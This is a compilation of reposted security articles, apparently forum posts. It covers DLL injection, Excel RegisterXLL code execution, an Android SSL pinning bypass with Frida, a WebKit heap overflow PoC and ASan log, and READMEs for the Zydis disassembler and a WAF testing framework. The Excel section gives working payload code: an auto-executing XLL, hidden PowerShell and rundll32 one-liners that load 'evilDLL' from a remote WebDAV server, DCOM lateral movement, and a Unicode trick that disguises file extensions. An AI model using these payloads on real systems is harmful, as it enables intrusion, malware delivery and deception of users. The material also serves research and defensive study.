reflective DLL to be used with this technique. Note that the DLL we’re injecting must be compiled with the appropriate includes and options, so it aligns itself with the Reflective DLL injection method. Reflective DLL injection works by copying the entire DLL into memory, so it avoids registering the DLL with the process. All the heavy lifting is already done for us. To obtain the entry point to our DLL when it’s loaded in memory we only have to use Stephen Fewer’s code. The ‘LoadRemoteLibraryR()’ function included within his project does it for us. We use the ‘GetReflectiveLoaderOffset()’ to determine the offset in our processes memory, then we use that offset plus the base address of the memory in the target/remote process (where we wrote the DLL) as the execution starting point. Too complex? Yes, it might be. Here are the main 4 steps to achieve this. 1 2 3 4 Write the DLL headers into memory Write each section into memory (by parsing the section table) Check imports and load any other imported DLLs Call the DllMain entry-point This technique offers a great level of stealth in comparison to the other methods, and is massively used in Metasploit. If you want to know more just go to the official GitHub repository. Also, make sure to read Stephen Fewer’s paper about it here. Also, have a look at Loading a DLL from memory from Joachim Bauch, author of MemoryModule and this nice post about Loading Win32/64 DLLs “manually” without LoadLibrary(). Code There are some more obscure and complex injection methods around. So I’ll eventually update the ‘injectAllTheThings’ project in the future. Some of the most interesting ones I’ve seen lately are: The one used by DOUBLEPULSAR The one written by @zerosum0x0, Reflective DLL injection using SetThreadContext() and NtContinue() described here and code available here. All of the techniques I described above are implemented in one single project I made available at GitHub. It also includes the required DLLs for each of the techniques. The table below makes it easy to understand what’s actually implemented and how to use it. Method 32 bits 64 bits DLL to use CreateRemoteThread() + + dllmain_32.dll / dllmain_64.dll NtCreateThreadEx() + + dllmain_32.dll / dllmain_64.dll QueueUserAPC() + + dllmain_32.dll / dllmain_64.dll SetWindowsHookEx() + + dllpoc_32.dll / dllpoc_64.dll RtlCreateUserThread() + + dllmain_32.dll / dllmain_64.dll SetThreadContext() + + dllmain_32.dll / dllmain_64.dll Reflective DLL + + rdll_32.dll / rdll_64.dll Needless to say, to be on the safe side, always use injectAllTheThings_32.exe to inject into 32 bits processes or injectAllTheThings_64.exe to inject into 64 bits processes. Although, you can also use injectAllTheThings_64.exe to inject into 32 bits processes. And actually, I didn’t implement it, but I might have to give it a try later, you can go from WoW64 to 64 bits. Which is basically what Metasploit ‘smart_migrate’ does. Have a look here. The code for the whole project, including DLLs is available at GitHub. Compile for 32 and 64 bits, with or without debugging and have fun. References http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf https://warroom.securestate.com/dll-injection-part-1-setwindowshookex/ https://warroom.securestate.com/dll-injection-part-2-createremotethread-and-more/ http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html http://resources.infosecinstitute.com/using-createremotethread-for-dll-injection-on-windows/ http://securityxploded.com/ntcreatethreadex.php https://www.codeproject.com/Tips/211962/Bit-Injection-Cave http://www.blizzhackers.cc/viewtopic.php?p=2483118 http://resources.infosecinstitute.com/code-injection-techniques/ Windows via C/C++ 5th Edition Authored by rui Jul 16th, 2017 7:49 pm Sursa: http://blog.deniable.org/blog/2017/07/16/inject-all-the-things/
-
DLL Execution via Excel.Application RegisterXLL() method A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server. When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\. The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here including his simple example of an XLL. An interesting thing about Office, is it will perform file format sniffing for certain extensions, such as .xls, .xlk, and .doc (and probably more). This means that you can rename the .xll to a .xls or .xlk and it will still open. However, the initial add-in warning is still triggered, along with another warning that mentions the file format and extension don't match. Since the add-in warning shows the full path to the filename, certain unicode characters can be used to mask the .xll extension. One of my favorites is the [Right-to-Left Override Character] (http://www.fileformat.info/info/unicode/char/202e/index.htm). By using this character, you can make the Excel file appear as if it has any extension. For example, the filename Footbaslx.xll would display as Footballx.xls, since everything after the character is reversed. Here is a basic example of a DLL with the required xlAutoOpen export to make it an XLL that executes on open. As with any DLL, execution can also be triggered in the DLL_PROCESS_ATTACH case. // Compile with: cl.exe notepadXLL.c /LD /o notepad.xll #include <Windows.h> __declspec(dllexport) void __cdecl xlAutoOpen(void); void __cdecl xlAutoOpen() { // Triggers when Excel opens WinExec("cmd.exe /c notepad.exe", 1); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Below are samples of various ways this can be executed. Javascript: // Create Instace of Excel.Application COM object var excel = new ActiveXObject("Excel.Application"); // Pass in path to the DLL (can use any extension) excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz"); // Delivered via WebDAV excel.RegisterXLL("\\\\webdavserver\\files\\evilDLL.jpg"); Rundll32.exe mshtml.dll one-liner: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('\\\\webdavserver\\files\\evilDLL.jpg');this.close(); Powershell: # Create Instace of Excel.Application COM object $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) # Pass in path to the DLL (can use any extension) $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt") # Delivered via WebDAV $excel.RegisterXLL("\\webdavserver\files\evilDLL.jpg"); # One liner with WebDAV: powershell -w hidden -c "IEX ((New-Object -ComObject Excel.Application).RegisterXLL('\\webdavserver\files\evilDLL.jpg'))" @rxwx discovered that this can also be used for lateral movement in environments that support DCOM source, here is an example: $Com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.111") $Obj = [System.Activator]::CreateInstance($Com) # Detect Office bitness so proper DLL can be used $isx64 = [boolean]$obj.Application.ProductCode[21] # Load DLL from WebDAV $obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll") The DCOM pivoting technique has been added to Invoke-DCOM.ps1 by @rvrsh3ll, thanks to @rxwx Here is another XLL PoC by @MooKitty Sursa: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52
-
Universal Android SSL Pinning bypass with Frida On 25 Jul, 2017 By Piergiovanni Cipolloni Android SSL Re-Pinning Two kinds of SSL Pinning implementations can be found in Android apps: the home-made and the proper one. The former is usually a single method, performing all the certificate checks (possibly using custom libraries), that returns a Boolean value. This means that this approach can be easily bypassed by identifying the interesting method and flipping the return value. The following example is a simplified version of a Frida JavaScript script: After we identify the offending method (hint: logcat) we basically hijack it and let it always return true. When SSL Pinning is instead performed according to the official Android documentation, well… things get tougher. There are many excellent solutions out there, being custom android images, underlying frameworks, socket.relaxsslcheck=yes , etc. Almost every attempt at bypassing SSL Pinning is based on manipulating the SSLContext. Can we manipulate the SSLContext with Frida? What we wanted was a generic/universal approach and we wanted to do it with a Frida JavaScript script. The idea here is to do exactly what the official documentation suggests doing so we’ve ported the SSL Pinning Java code to Frida JavaScript. How it works: Load our rogue CAs cert from device Create our own KeyStore containing our trusted CAs Create a TrustManager that trusts the CAs in our KeyStore When the application initializes its SSLContext we hijack the SSLContext.init() method and when it gets called, we swap the 2nd parameter, which is the application TrustManager, with our own TrustManager we previously prepared. (SSLContext.init(KeyManager, TrustManager, SecuRandom)). This way we basically re-pinn the application to our own CA! Example $ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt $ adb shell "/data/local/tmp/frida-server &" $ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause […] [USB::Samsung GT-31337::['it.app.mobile']]-> [.] Cert Pinning Bypass/Re-Pinning [+] Loading our CA... [o] Our CA Info: CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, ST=PortSwigger, C=PortSwigger [+] Creating a KeyStore for our CA... [+] Creating a TrustManager that trusts the CA in our KeyStore... [+] Our TrustManager is ready... [+] Hijacking SSLContext methods now... [-] Waiting for the app to invoke SSLContext.init()... [o] App invoked javax.net.ssl.SSLContext.init... [+] SSLContext initialized with our custom TrustManager! [o] App invoked javax.net.ssl.SSLContext.init... [+] SSLContext initialized with our custom TrustManager! [o] App invoked javax.net.ssl.SSLContext.init... [+] SSLContext initialized with our custom TrustManager! [o] App invoked javax.net.ssl.SSLContext.init... [+] SSLContext initialized with our custom TrustManager! In this case the application invoked SSLContext.init four times which means it verified four different certs (two of which were used by 3rd party tracking libs). Download here: frida-android-repinning_sa.js or from Frida Codeshare here https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ Frida & Android https://www.frida.re/docs/android/ Sursa: https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
-
- 2
-
-
Zyan Disassembler Engine (Zydis) Fast and lightweight x86/x86-64 disassembler library. Features Supports all x86 and x86-64 (AMD64) general-purpose and system instructions. Supports pretty much all ISA extensions: FPU (x87), MMX SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, SSE4A, AESNI AVX, AVX2, AVX512BW, AVX512CD, AVX512DQ, AVX512ER, AVX512F, AVX512PF, AVX512VL ADX, BMI1, BMI2, FMA, FMA4 .. Optimized for high performance No dynamic memory allocation Perfect for kernel-mode drivers and embedded devices Very small file-size overhead compared to other common disassembler libraries Complete doxygen documentation Roadmap Language bindings [v2.0 final] Tests [v2.0 final] Graphical editor for the instruction-database [v2.0 final] Implement CMake feature gates. Currently, everything is always included. [v2.0 final] Encoding support [v2.1] Quick Example The following example program uses Zydis to disassemble a given memory buffer and prints the output to the console. #include <stdio.h> #include <Zydis/Zydis.h> int main() { uint8_t data[] = { 0x51, 0x8D, 0x45, 0xFF, 0x50, 0xFF, 0x75, 0x0C, 0xFF, 0x75, 0x08, 0xFF, 0x15, 0xA0, 0xA5, 0x48, 0x76, 0x85, 0xC0, 0x0F, 0x88, 0xFC, 0xDA, 0x02, 0x00 }; ZydisDecoder decoder; ZydisDecoderInit(&decoder, ZYDIS_MACHINE_MODE_LONG_64, ZYDIS_ADDRESS_WIDTH_64); ZydisFormatter formatter; ZydisFormatterInitEx(&formatter, ZYDIS_FORMATTER_STYLE_INTEL, ZYDIS_FMTFLAG_FORCE_SEGMENTS | ZYDIS_FMTFLAG_FORCE_OPERANDSIZE, ZYDIS_FORMATTER_ADDR_ABSOLUTE, ZYDIS_FORMATTER_DISP_DEFAULT, ZYDIS_FORMATTER_IMM_DEFAULT); uint64_t instructionPointer = 0x007FFFFFFF400000; ZydisDecodedInstruction instruction; char buffer[256]; while (ZYDIS_SUCCESS( ZydisDecoderDecodeBuffer(decoder, data, length, instructionPointer, &instruction))) { data += instruction.length; length -= instruction.length; instructionPointer += instruction.length; printf("%016" PRIX64 " ", instruction.instrAddress); ZydisFormatterFormatInstruction(&formatter, &instruction, &buffer[0], sizeof(buffer)); printf(" %s\n", &buffer[0]); } } Sample Output The above example program generates the following output: 007FFFFFFF400000 push rcx 007FFFFFFF400001 lea eax, dword ptr ss:[rbp-0x01] 007FFFFFFF400004 push rax 007FFFFFFF400005 push qword ptr ss:[rbp+0x0C] 007FFFFFFF400008 push qword ptr ss:[rbp+0x08] 007FFFFFFF40000B call qword ptr ds:[0x008000007588A5B1] 007FFFFFFF400011 test eax, eax 007FFFFFFF400013 js 0x007FFFFFFF42DB15 Compilation Zydis builds cleanly on most platforms without any external dependencies. You can use CMake to generate project files for your favorite C99 compiler. # Linux and OS X git clone 'https://github.com/zyantific/zydis.git' cd zydis mkdir build && cd build cmake .. make ZydisInfo tool License Zydis is licensed under the MIT license. Sursa: https://github.com/zyantific/zydis
-
- 1
-
-
Framework for Testing WAFs (FTW) Purpose This project was created by researchers from ModSecurity and Fastly to help provide rigorous tests for WAF rules. It uses the OWASP Core Ruleset V3 as a baseline to test rules on a WAF. Each rule from the ruleset is loaded into a YAML file that issues HTTP requests that will trigger these rules. Goals / Use cases include: Find regressions in WAF deployments by using continuous integration and issuing repeatable attacks to a WAF Provide a testing framework for new rules into ModSecurity, if a rule is submitted it MUST have corresponding positive & negative tests Evaluate WAFs against a common, agreeable baseline ruleset (OWASP) Test and verify custom rules for WAFs that are not part of the core rule set Installation git clone git@github.com:fastly/ftw.git cd ftw Make sure that pip is installed apt-get install python-pip pip install -r requirements.txt Running Tests with HTML contains and Status code checks only Create YAML files that point to your webserver with a WAF in front of it py.test test/test_default.py --ruledir test/yaml Provisioning Apache+Modsecurity+OWASP CRS If you require an environment for testing WAF rules, there has been one created with Apache, Modsecurity and version 3.0.0 of the OWASP core ruleset. This can be deployed by: Checking out the repository: git clone https://github.com/fastly/waf_testbed.git Typing vagrant up Running Tests while overriding destination address in the yaml files to custom domain start your test web server py.test test/test_default.py --ruledir=test/yaml --destaddr=domain.com --port 443 --protocol https Run integration test, local webserver, may have to use sudo py.test test/integration/test_logcontains.py -s --ruledir=test/integration/ HOW TO INTEGRATE LOGS Create a *.py file with the necessary imports, an example is shown in test/integration/test_logcontains.py All functions with test* in the beginning will be ran by py.test, so make a function def test_somewaf Implement a class that inherits LogChecker Implement the get_logs() function. FTW will call this function after it runs the test, and it will set datetimes of self.start and self.end Use the information from the datetime variables to retrieve the files from your WAF, whether its a file or an API call Get the logs, store them in an array of strings and return it from get_logs() Make use of py.test fixtures. Use a function decorator @pytest.fixture, return your new LogChecker object. Whenever you use a function argument in your tests that matches the name of that @pytest.fixture, it will instantiate your object and make it easier to run tests. An example of this is in the python file from step 1. Write a testing configuration in the *.yaml format as seen in test/integration/LOGCONTAINSFIXTURE.yaml, the log_contains line requires a string that is a regex. FTW will compile the log_contains string from each stage in the YAML file into a regex. This regex will then be used alongside the lines of logs passed in from get_logs() to look for a match. The log_contains string, then, should be a unique rule-id as FTW is greedy and will pass on the first match. False positives are mitigated from the start/end time passed to the LogChecker object, but it is best to stay safe and use unique regexes. For each stage, the get_logs() function is called, so be sure to account for API calls if thats how you retrieve your logs. Making HTTP requests programmatically Although it is preferred to make requests using the YAML format, often automated tests require making many dynamic requests. In such a case it is recommended to make use of the py.test framework in order to produce test cases that can be run as part of the whole. Generally making an HTTP request is simple: create an instance of the HttpUA() class create an instance of the Input() class providing whatever parameters you don't want to be defaulted provide the instance of the input class to HttpUA.send_request() For some examples see the http integration tests Sursa: https://github.com/fastly/ftw
-
- 1
-
-
Publicat pe 19 iul. 2017 Escaping the (sand)box. The promises and pitfalls of modern computational load isolation techniques for Linux OSUsers of modern Linux containerization technologies are frequently at loss with what kind of security guarantees are delivered by tools they use. Typical questions range from Can these be used to isolate software with known security shortcomings and rich history of security vulnerabilities? to even Can I used such technique to isolate user-generated and potentially hostile assembler payloads? Modern Linux OS code-base as well as independent authors provide a plethora of options for those who desire to make sure that their computational loads are solidly confined. Potential users can choose from solutions ranging from Docker-like confinement projects, through Xen hypervisors, seccomp-bpf and ptrace-based sandboxes, to isolation frameworks based on hardware virtualization (e.g. KVM). The talk will discuss available today techniques, with focus on (frequently overstated) promises regarding their strength. In the end, as they say: “Many speed bumps don’t make a wall". CONFidence: http://confidence.org.pl/ Facebook: https://www.facebook.com/confidence.c... Twitter: https://twitter.com/CONFidence_news
-
There is a heap buffer overflow in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= <script> function go() { i.value = "1"; i.type = "search"; f.submit(); } </script> <body onload=go()> <form id="f"> <input id="i" results="1"> ================================================================= ASan log: ================================================================= ==805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200006a660 at pc 0x000116496d47 bp 0x7fff5597b2a0 sp 0x7fff5597b298 READ of size 8 at 0x61200006a660 thread T0 ==805==WARNING: invalid path to external symbolizer! ==805==WARNING: Failed to use and restart external symbolizer! #0 0x116496d46 in WTF::VectorBufferBase<WebCore::RecentSearch>::buffer() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2694d46) #1 0x116496bed in WTF::Vector<WebCore::RecentSearch, 0ul, WTF::CrashOnOverflow, 16ul>::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2694bed) #2 0x116493b4b in unsigned int WTF::Vector<WebCore::RecentSearch, 0ul, WTF::CrashOnOverflow, 16ul>::removeAllMatching<WebCore::RenderSearchField::addSearchResult()::$_0>(WebCore::RenderSearchField::addSearchResult()::$_0 const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2691b4b) #3 0x116493860 in WebCore::RenderSearchField::addSearchResult() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2691860) #4 0x114905297 in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb03297) #5 0x114b3aaab in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd38aab) #6 0x1154cd5a0 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16cb5a0) #7 0x1154c99a8 in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16c79a8) #8 0x58d153801027 (<unknown module>) #9 0x11fd2434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a) #10 0x11fd2434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a) #11 0x11fd1d91a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a) #12 0x11f982757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757) #13 0x11f9043da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da) #14 0x11ef3c0f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1) #15 0x11ef3c362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362) #16 0x11ef3c6d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3) #17 0x114ff5a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15) #18 0x115389510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510) #19 0x11478a68e in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98868e) #20 0x11478a170 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x988170) #21 0x114665041 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x863041) #22 0x114674aaf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x872aaf) #23 0x1145767af in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7747af) #24 0x114571103 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f103) #25 0x1149169ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce) #26 0x114913d0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c) #27 0x11458f493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493) #28 0x114b035c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0) #29 0x11462e093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093) #30 0x1145ed386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386) #31 0x11407c997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997) #32 0x1140762aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa) #33 0x1169fdc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41) #34 0x10ad232eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb) #35 0x10ad26689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689) #36 0x10ad25ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9) #37 0x10a5c6683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683) #38 0x10a3703b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5) #39 0x10a379888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888) #40 0x1203b0312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312) #41 0x1203b0d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41) #42 0x7fff8da4f3c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0) #43 0x7fff8da302cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc) #44 0x7fff8da2f7c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5) #45 0x7fff8da2f1c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3) #46 0x7fff8cf90ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb) #47 0x7fff8cf90cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0) #48 0x7fff8cf90b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25) #49 0x7fff8b52be23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23) #50 0x7fff8bca785d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d) #51 0x7fff8b5207aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa) #52 0x7fff8b4eb1dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd) #53 0x7fffa33eb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6) #54 0x7fffa33ea2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3) #55 0x10a28156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c) #56 0x7fffa3192234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234) 0x61200006a660 is located 24 bytes to the right of 264-byte region [0x61200006a540,0x61200006a648) allocated by thread T0 here: #0 0x10d26dd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c) #1 0x7fffa3314281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281) #2 0x120401ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4) #3 0x1203f6c4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d) #4 0x12038c437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437) #5 0x12038b768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768) #6 0x11400c548 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20a548) #7 0x116bd7dbd in WebCore::RenderPtr<WebCore::RenderTextControlSingleLine> WebCore::createRenderer<WebCore::RenderTextControlSingleLine, WebCore::HTMLInputElement&, 